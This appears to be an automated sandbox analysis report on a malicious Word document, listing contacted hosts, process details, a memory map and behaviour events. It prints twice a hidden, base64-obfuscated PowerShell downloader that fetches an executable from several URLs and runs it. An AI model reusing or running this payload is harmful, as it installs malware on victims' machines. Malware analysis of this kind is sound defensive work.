Host | Resolved to | Country | City | Protocol |
---|---|---|---|---|
kerineal.com | 184.168.152.148 | US | Scottsdale | DNS, HTTP, TCP |
65.99.230.27 | US | Saint Louis | HTTP | |
185.82.23.28 | DE | HTTP |
Information | Value |
---|---|
ID | #1 |
File Name | c:\program files\microsoft office\root\office16\winword.exe |
Command Line | "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:00:14, Reason: Analysis Target |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:02:20 |
Information | Value |
---|---|
PID | 0x9f8 |
Parent PID | 0x5f4 (c:\windows\explorer.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
A88
0x
A84
0x
A80
0x
A7C
0x
A78
0x
A74
0x
A70
0x
A50
0x
A48
0x
A44
0x
A40
0x
A3C
0x
A38
0x
A34
0x
A20
0x
A10
0x
A08
0x
A04
0x
9FC
0x
A8C
0x
A90
0x
AB4
0x
ACC
0x
BB8
0x
CB0
0x
CB4
0x
CB8
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000020000 | 0x00020000 | 0x00020fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000030000 | 0x00030000 | 0x00033fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000040000 | 0x00040000 | 0x00043fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000050000 | 0x00050000 | 0x00050fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000060000 | 0x00060000 | 0x00060fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000070000 | 0x00070000 | 0x0016ffff | Private Memory | Readable, Writable |
|
|||
locale.nls | 0x00170000 | 0x001d6fff | Memory Mapped File | Readable |
|
|||
private_0x00000000001e0000 | 0x001e0000 | 0x001e0fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000001f0000 | 0x001f0000 | 0x001f0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000200000 | 0x00200000 | 0x00206fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000210000 | 0x00210000 | 0x0030ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000310000 | 0x00310000 | 0x00311fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000320000 | 0x00320000 | 0x00320fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000330000 | 0x00330000 | 0x00330fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000340000 | 0x00340000 | 0x00341fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000350000 | 0x00350000 | 0x00351fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000360000 | 0x00360000 | 0x00362fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000370000 | 0x00370000 | 0x0037ffff | Private Memory |
|
||||
pagefile_0x0000000000380000 | 0x00380000 | 0x00382fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000390000 | 0x00390000 | 0x0039ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000003a0000 | 0x003a0000 | 0x00467fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000470000 | 0x00470000 | 0x00570fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000580000 | 0x00580000 | 0x0117ffff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000001180000 | 0x01180000 | 0x01182fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000001190000 | 0x01190000 | 0x01192fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000011a0000 | 0x011a0000 | 0x011a1fff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000011b0000 | 0x011b0000 | 0x011cffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000011d0000 | 0x011d0000 | 0x011d1fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000011e0000 | 0x011e0000 | 0x011e1fff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000011f0000 | 0x011f0000 | 0x01213fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001220000 | 0x01220000 | 0x01220fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001230000 | 0x01230000 | 0x01238fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001240000 | 0x01240000 | 0x01248fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001260000 | 0x01260000 | 0x01260fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001270000 | 0x01270000 | 0x0127ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001280000 | 0x01280000 | 0x01283fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000001290000 | 0x01290000 | 0x01290fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000012a0000 | 0x012a0000 | 0x012a0fff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000012b0000 | 0x012b0000 | 0x012b0fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000012c0000 | 0x012c0000 | 0x012c0fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000012d0000 | 0x012d0000 | 0x012d1fff | Pagefile Backed Memory | Readable |
|
|||
winword.exe | 0x012e0000 | 0x014b8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sortdefault.nls | 0x014c0000 | 0x0178efff | Memory Mapped File | Readable |
|
|||
pagefile_0x0000000001790000 | 0x01790000 | 0x01b82fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001b90000 | 0x01b90000 | 0x01c8ffff | Private Memory | Readable, Writable |
|
|||
kernelbase.dll.mui | 0x01c90000 | 0x01d4ffff | Memory Mapped File | Readable, Writable |
|
|||
msxml6r.dll | 0x01d50000 | 0x01d50fff | Memory Mapped File | Readable |
|
|||
private_0x0000000001d60000 | 0x01d60000 | 0x01d9ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001da0000 | 0x01da0000 | 0x01e7efff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001e80000 | 0x01e80000 | 0x01f7ffff | Private Memory | Readable, Writable |
|
|||
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db | 0x01f80000 | 0x01f9ffff | Memory Mapped File | Readable |
|
|||
private_0x0000000001fa0000 | 0x01fa0000 | 0x0209ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000020a0000 | 0x020a0000 | 0x020c3fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000002110000 | 0x02110000 | 0x02110fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000002120000 | 0x02120000 | 0x02121fff | Pagefile Backed Memory | Readable |
|
|||
c_1255.nls | 0x02130000 | 0x02140fff | Memory Mapped File | Readable |
|
|||
private_0x0000000002150000 | 0x02150000 | 0x0215ffff | Private Memory | Readable, Writable |
|
|||
onbttnwd.dll | 0x02160000 | 0x02165fff | Memory Mapped File | Readable |
|
|||
private_0x0000000002170000 | 0x02170000 | 0x0226ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000002270000 | 0x02270000 | 0x0228ffff | Private Memory |
|
||||
private_0x0000000002290000 | 0x02290000 | 0x022aefff | Private Memory | Readable, Writable |
|
|||
segoeuib.ttf | 0x022b0000 | 0x02329fff | Memory Mapped File | Readable |
|
|||
private_0x00000000023b0000 | 0x023b0000 | 0x023cffff | Private Memory |
|
||||
private_0x00000000023d0000 | 0x023d0000 | 0x024cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000024d0000 | 0x024d0000 | 0x025cffff | Private Memory | Readable, Writable |
|
|||
stdole2.tlb | 0x025d0000 | 0x025d3fff | Memory Mapped File | Readable |
|
|||
private_0x0000000002600000 | 0x02600000 | 0x0263ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000002640000 | 0x02640000 | 0x0267ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000002680000 | 0x02680000 | 0x026fffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000002770000 | 0x02770000 | 0x0277ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000002780000 | 0x02780000 | 0x0287ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000028b0000 | 0x028b0000 | 0x029affff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000029b0000 | 0x029b0000 | 0x02daffff | Pagefile Backed Memory | Readable |
|
|||
staticcache.dat | 0x02db0000 | 0x036dffff | Memory Mapped File | Readable |
|
|||
segoeui.ttf | 0x036e0000 | 0x0375efff | Memory Mapped File | Readable |
|
|||
private_0x0000000003760000 | 0x03760000 | 0x0385ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000003880000 | 0x03880000 | 0x0397ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000039b0000 | 0x039b0000 | 0x039bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000039c0000 | 0x039c0000 | 0x03abffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000003ad0000 | 0x03ad0000 | 0x03b0ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000003b30000 | 0x03b30000 | 0x03b3ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000003b40000 | 0x03b40000 | 0x03b7ffff | Private Memory | Readable, Writable, Executable |
|
|||
pagefile_0x0000000003b80000 | 0x03b80000 | 0x0437ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000004380000 | 0x04380000 | 0x0447ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000004480000 | 0x04480000 | 0x0467ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000046e0000 | 0x046e0000 | 0x047dffff | Private Memory | Readable, Writable |
|
|||
seguisb.ttf | 0x047e0000 | 0x04843fff | Memory Mapped File | Readable |
|
|||
private_0x00000000048a0000 | 0x048a0000 | 0x0499ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000004a20000 | 0x04a20000 | 0x04b1ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000004b20000 | 0x04b20000 | 0x04f1ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000004f30000 | 0x04f30000 | 0x0502ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000005080000 | 0x05080000 | 0x050bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000050c0000 | 0x050c0000 | 0x054bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000054c0000 | 0x054c0000 | 0x058bffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000058c0000 | 0x058c0000 | 0x060bffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x00000000060c0000 | 0x060c0000 | 0x064c0fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000064d0000 | 0x064d0000 | 0x068d0fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000068e0000 | 0x068e0000 | 0x06ce0fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000006cf0000 | 0x06cf0000 | 0x06eeffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000006ef0000 | 0x06ef0000 | 0x073affff | Private Memory | Readable, Writable |
|
|||
private_0x00000000073b0000 | 0x073b0000 | 0x07baffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000007bb0000 | 0x07bb0000 | 0x07faffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000007fb0000 | 0x07fb0000 | 0x080affff | Private Memory | Readable, Writable |
|
|||
private_0x0000000008110000 | 0x08110000 | 0x0820ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000008210000 | 0x08210000 | 0x0830ffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000083d0000 | 0x083d0000 | 0x084cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000084f0000 | 0x084f0000 | 0x085effff | Private Memory | Readable, Writable |
|
|||
private_0x0000000008610000 | 0x08610000 | 0x0870ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000008790000 | 0x08790000 | 0x0888ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000035c20000 | 0x35c20000 | 0x35c2ffff | Private Memory | Readable, Writable, Executable |
|
|||
msohev.dll | 0x5f9d0000 | 0x5f9e6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
onbttnwd.dll | 0x5fae0000 | 0x5fb0bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
chart.dll | 0x5fb10000 | 0x60304fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
riched20.dll | 0x60310000 | 0x604b1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscoreei.dll | 0x60590000 | 0x60607fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscoree.dll | 0x60610000 | 0x60659fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
dwrite.dll | 0x60660000 | 0x60769fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
d3d10warp.dll | 0x60770000 | 0x6089bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msptls.dll | 0x608a0000 | 0x609b7fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msointl.dll | 0x609c0000 | 0x60b34fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wwintl.dll | 0x60b40000 | 0x60be8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msores.dll | 0x60bf0000 | 0x65a2efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso99lres.dll | 0x65a30000 | 0x66350fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso40uires.dll | 0x66360000 | 0x66667fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso.dll | 0x66670000 | 0x67421fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso99lwin32client.dll | 0x67430000 | 0x679c7fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso40uiwin32client.dll | 0x679d0000 | 0x680e4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso30win32client.dll | 0x680f0000 | 0x683f1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mso20win32client.dll | 0x68400000 | 0x685d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oart.dll | 0x685e0000 | 0x691d1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
d3d11.dll | 0x691e0000 | 0x69262fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wwlib.dll | 0x69270000 | 0x6aed1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ucrtbase.dll | 0x6aee0000 | 0x6afbbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
appvisvsubsystems32.dll | 0x6afc0000 | 0x6b174fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
osppc.dll | 0x6b280000 | 0x6b2acfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sppc.dll | 0x6b2b0000 | 0x6b2d0fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mlang.dll | 0x6b690000 | 0x6b6bdfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
npmproxy.dll | 0x6c840000 | 0x6c847fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msxml6.dll | 0x6cf80000 | 0x6d0d7fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winspool.drv | 0x6d400000 | 0x6d450fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
office.odf | 0x6ef70000 | 0x6f128fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-utility-l1-1-0.dll | 0x6f130000 | 0x6f132fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-environment-l1-1-0.dll | 0x6f140000 | 0x6f142fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-filesystem-l1-1-0.dll | 0x6f150000 | 0x6f152fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-time-l1-1-0.dll | 0x6f160000 | 0x6f162fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-multibyte-l1-1-0.dll | 0x6f1a0000 | 0x6f1a4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-math-l1-1-0.dll | 0x6f1b0000 | 0x6f1b4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-locale-l1-1-0.dll | 0x6f1c0000 | 0x6f1c2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcp140.dll | 0x6f1d0000 | 0x6f23cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
For performance reasons, the remaining 294 entries are omitted.
The remaining entries can be found in flog.txt. |
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Keyboard | Read | virtual_key_code = VK_CANCEL, result_out = 0 | 1 |
Fn
|
|
Module | Load | module_name = VBE7.DLL, base_address = 0x72570000 | 1 |
Fn
|
|
Module | Get Address | module_name = Unknown module name, function = 600, address_out = 0x725c8346 | 1 |
Fn
|
|
Keyboard | Read | virtual_key_code = VK_CANCEL, result_out = 0 | 5 |
Fn
|
|
Process | Create | process_name = powershell -e JAB7AHcAYABzAGAAYwBSAEkAcAB0AH0AIAA9ACAAJgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAG8AYgBqAGUAYwB0ACcALAAnAGUAdwAtACcALAAnAG4AJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADAAfQAiACAALQBmACAAJwBsAGwAJwAsACcAUwAnACwAJwAuACcALAAnAGgAZQAnACwAJwBXAFMAYwByAGkAcAB0ACcAKQA7ACQAewBXAGUAQgBjAGwAYABpAGAARQBOAHQAfQAgAD0AIAAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACAAJwBuAGUAdwAtACcALAAnAG8AJwAsACcAYgAnACwAJwBqAGUAYwB0ACcAKQAgACgAIgB7ADQAfQB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBsAGkAZQAnACwAJwB0AGUAbQAuAE4AZQB0ACcALAAnAG4AdAAnACwAJwAuAFcAZQBiAEMAJwAsACcAUwB5AHMAJwApADsAJAB7AHIAYQBgAE4ARABPAE0AfQAgAD0AIAAmACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcAYwB0ACcALAAnAGIAagBlACcALAAnAGUAdwAtAG8AJwAsACcAbgAnACkAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHIAYQBuAGQAbwAnACwAJwBtACcAKQA7ACQAewB1AGAAUgBsAFMAfQAgAD0AIAAoACIAewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAxADUAfQB7ADEAfQB7ADMAfQB7ADMAOAB9AHsAMwA5AH0AewAzADcAfQB7ADIAMgB9AHsAMQAwAH0AewA2AH0AewAzADEAfQB7ADAAfQB7ADMANAB9AHsAMQA2AH0AewAyADYAfQB7ADMAMAB9AHsAMgAwAH0AewAxADQAfQB7ADkAfQB7ADMANgB9AHsAMgAzAH0AewA4AH0AewAyADQAfQB7ADIANQB9AHsAMgA5AH0AewAyADgAfQB7ADEAMgB9AHsANQB9AHsAMgB9AHsAMQA5AH0AewAyADcAfQB7ADcAfQB7ADEAMwB9AHsANAB9AHsAMQA4AH0AewAzADMAfQB7ADMANQB9AHsAMwAyAH0AIgAgAC0AZgAgACcAZQBhAHQAcwBwAGEAJwAsACcAaQBuAGUAJwAsACcAcwAuAGMAJwAsACcAYQBsAC4AYwBvAG0AJwAsACcAZwAnACwAJwBsAHUAJwAsACcAaAAnACwAJwByAGUAcwBzAC8AJwAsACcAZQBzAC4AbgBlACcALAAnAC8ALABoAHQAdABwACcALAAnACwAJwAsACcALwBrAGUAJwAsACcALwBiAG0AYQBzAHQAZQByAHAAJwAsACcARAAnACwAJwB5AHIAcgAnACwAJwByACcALAAnAC4AdQBrAC8AVgBRAC8ALABoAHQAdABwADoALwAvAHUAbQBlACcALAAnAGgAdAB0ACcALAAnAE4AJwAsACcAbwBtAC8AJwAsACcAbwBtAC8AJwAsACcAcAA6AC8AJwAsACcALwBoAFEAbwBCAG0ALwAnACwAJwAvAC8AbgB5AGUAcgBnACcALAAnAHQALwAnACwAJwBxAHEAcgAvACwAJwAsACcAeAAnACwAJwB3AG8AcgBkAHAAJwAsACcAcAA6AC8AJwAsACcAaAB0AHQAJwAsACcAeAAuAGMAJwAsACcAdAB0AHAAOgAvAC8AJwAsACcASgBGAGgALwAnACwAJwBuAGsAJwAsACcAbQAuAGMAbwAnACwAJwBHACcALAAnADoAJwAsACcAdAAnACwAJwAvAHMAJwAsACcAaQBtAHAAbAB5AGUAbABlAGcAYQBuACcAKQAuACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbABpAHQAJwAsACcAUwBwACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAGAAQQBtAEUAfQAgAD0AIAAkAHsAcgBhAG4ARABgAE8ATQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAJwAsACcAbgBlAHgAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBQAGAAQQBUAEgAfQAgAD0AIAAkAHsARQBgAE4AdgA6AGAAVABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAUgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAGMATABJAGUAYABOAHQAfQAuACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAG4AbAAnACwAJwBEAG8AdwAnACwAJwBvAGEAZABGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJAB7AHUAYABSAEwAfQAuACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgBnACcALAAnAGkAJwAsACcAVABvAFMAdAByACcAKQAuAEkAbgB2AG8AawBlACgAKQAsACAAJAB7AFAAYABBAHQAaAB9ACkAOwAmACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBTACcALAAnAHQAYQByAHQALQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQAgACQAewBQAEEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsALgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBpAHQAZQAtAGgAbwBzAHQAJwAsACcAcgAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAeABDAGAAZQBgAFAAVABpAE8ATgAiAC4AIgBtAGUAcwBzAGAAQQBgAGcAZQAiADsAfQB9AA0ACgA=, os_pid = 0xad4, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE | 1 |
Fn
|
Information | Value |
---|---|
ID | #2 |
File Name | c:\windows\system32\windowspowershell\v1.0\powershell.exe |
Command Line | powershell -e JAB7AHcAYABzAGAAYwBSAEkAcAB0AH0AIAA9ACAAJgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAG8AYgBqAGUAYwB0ACcALAAnAGUAdwAtACcALAAnAG4AJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADAAfQAiACAALQBmACAAJwBsAGwAJwAsACcAUwAnACwAJwAuACcALAAnAGgAZQAnACwAJwBXAFMAYwByAGkAcAB0ACcAKQA7ACQAewBXAGUAQgBjAGwAYABpAGAARQBOAHQAfQAgAD0AIAAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACAAJwBuAGUAdwAtACcALAAnAG8AJwAsACcAYgAnACwAJwBqAGUAYwB0ACcAKQAgACgAIgB7ADQAfQB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBsAGkAZQAnACwAJwB0AGUAbQAuAE4AZQB0ACcALAAnAG4AdAAnACwAJwAuAFcAZQBiAEMAJwAsACcAUwB5AHMAJwApADsAJAB7AHIAYQBgAE4ARABPAE0AfQAgAD0AIAAmACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcAYwB0ACcALAAnAGIAagBlACcALAAnAGUAdwAtAG8AJwAsACcAbgAnACkAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHIAYQBuAGQAbwAnACwAJwBtACcAKQA7ACQAewB1AGAAUgBsAFMAfQAgAD0AIAAoACIAewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAxADUAfQB7ADEAfQB7ADMAfQB7ADMAOAB9AHsAMwA5AH0AewAzADcAfQB7ADIAMgB9AHsAMQAwAH0AewA2AH0AewAzADEAfQB7ADAAfQB7ADMANAB9AHsAMQA2AH0AewAyADYAfQB7ADMAMAB9AHsAMgAwAH0AewAxADQAfQB7ADkAfQB7ADMANgB9AHsAMgAzAH0AewA4AH0AewAyADQAfQB7ADIANQB9AHsAMgA5AH0AewAyADgAfQB7ADEAMgB9AHsANQB9AHsAMgB9AHsAMQA5AH0AewAyADcAfQB7ADcAfQB7ADEAMwB9AHsANAB9AHsAMQA4AH0AewAzADMAfQB7ADMANQB9AHsAMwAyAH0AIgAgAC0AZgAgACcAZQBhAHQAcwBwAGEAJwAsACcAaQBuAGUAJwAsACcAcwAuAGMAJwAsACcAYQBsAC4AYwBvAG0AJwAsACcAZwAnACwAJwBsAHUAJwAsACcAaAAnACwAJwByAGUAcwBzAC8AJwAsACcAZQBzAC4AbgBlACcALAAnAC8ALABoAHQAdABwACcALAAnACwAJwAsACcALwBrAGUAJwAsACcALwBiAG0AYQBzAHQAZQByAHAAJwAsACcARAAnACwAJwB5AHIAcgAnACwAJwByACcALAAnAC4AdQBrAC8AVgBRAC8ALABoAHQAdABwADoALwAvAHUAbQBlACcALAAnAGgAdAB0ACcALAAnAE4AJwAsACcAbwBtAC8AJwAsACcAbwBtAC8AJwAsACcAcAA6AC8AJwAsACcALwBoAFEAbwBCAG0ALwAnACwAJwAvAC8AbgB5AGUAcgBnACcALAAnAHQALwAnACwAJwBxAHEAcgAvACwAJwAsACcAeAAnACwAJwB3AG8AcgBkAHAAJwAsACcAcAA6AC8AJwAsACcAaAB0AHQAJwAsACcAeAAuAGMAJwAsACcAdAB0AHAAOgAvAC8AJwAsACcASgBGAGgALwAnACwAJwBuAGsAJwAsACcAbQAuAGMAbwAnACwAJwBHACcALAAnADoAJwAsACcAdAAnACwAJwAvAHMAJwAsACcAaQBtAHAAbAB5AGUAbABlAGcAYQBuACcAKQAuACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbABpAHQAJwAsACcAUwBwACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAGAAQQBtAEUAfQAgAD0AIAAkAHsAcgBhAG4ARABgAE8ATQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAJwAsACcAbgBlAHgAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBQAGAAQQBUAEgAfQAgAD0AIAAkAHsARQBgAE4AdgA6AGAAVABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAUgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAGMATABJAGUAYABOAHQAfQAuACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAG4AbAAnACwAJwBEAG8AdwAnACwAJwBvAGEAZABGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJAB7AHUAYABSAEwAfQAuACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgBnACcALAAnAGkAJwAsACcAVABvAFMAdAByACcAKQAuAEkAbgB2AG8AawBlACgAKQAsACAAJAB7AFAAYABBAHQAaAB9ACkAOwAmACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBTACcALAAnAHQAYQByAHQALQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQAgACQAewBQAEEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsALgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBpAHQAZQAtAGgAbwBzAHQAJwAsACcAcgAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAeABDAGAAZQBgAFAAVABpAE8ATgAiAC4AIgBtAGUAcwBzAGAAQQBgAGcAZQAiADsAfQB9AA0ACgA= |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:00:30, Reason: Child Process |
